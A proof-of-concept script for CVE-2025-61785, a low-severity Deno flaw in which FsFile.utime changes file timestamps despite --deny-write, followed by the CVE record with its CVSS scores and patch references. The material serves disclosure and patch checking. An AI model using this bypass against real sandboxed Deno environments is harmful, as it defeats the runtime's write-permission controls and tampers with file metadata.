CVE-2025-61785

// CVE-2025-61785 PoC: Deno FsFile.utime permission bypass // Run with: deno run --deny-write=./ poc.ts // This should fail but succeeds due to the vulnerability // Step 1: Create a test file const testFile = "./test_file.txt"; await Deno.writeTextFile(testFile, "original content"); // Step 2: Open the file with READ-ONLY permission // Despite --deny-write, this should not allow any write operations const file = await Deno.open(testFile, { read: true, write: false, // explicitly read-only }); // Step 3: Record original timestamps const originalStat = await Deno.stat(testFile); console.log("Original atime:", originalStat.atime); console.log("Original mtime:", originalStat.mtime); // Step 4: Attempt to modify timestamps via FsFile.utime() // This should be blocked by --deny-write=./ but is NOT due to CVE-2025-61785 const newTime = new Date("2020-01-01T00:00:00Z"); try { await file.utime(newTime, newTime); console.log("[VULNERABLE] Timestamps modified successfully!"); // Verify the modification const newStat = await Deno.stat(testFile); console.log("Modified atime:", newStat.atime); console.log("Modified mtime:", newStat.mtime); } catch (e) { console.log("[PATCHED] utime blocked:", e.message); } file.close(); await Deno.remove(testFile);

{"cve": {"id": "CVE-2025-61785", "sourceIdentifier": "[email protected]", "published": "2025-10-08T01:15:32.847", "lastModified": "2025-10-16T18:12:40.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.2.15", "matchCriteriaId": "E75979F4-50DD-41E8-932A-C576F86DBFCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.3.0", "versionEndExcluding": "2.5.3", "matchCriteriaId": "7DD66938-204A-4542-BA86-274BB232C8C9"}]}]}], "references": [{"url": "https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/denoland/deno/pull/30872", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/denoland/deno/releases/tag/v2.2.15", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/denoland/deno/releases/tag/v2.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}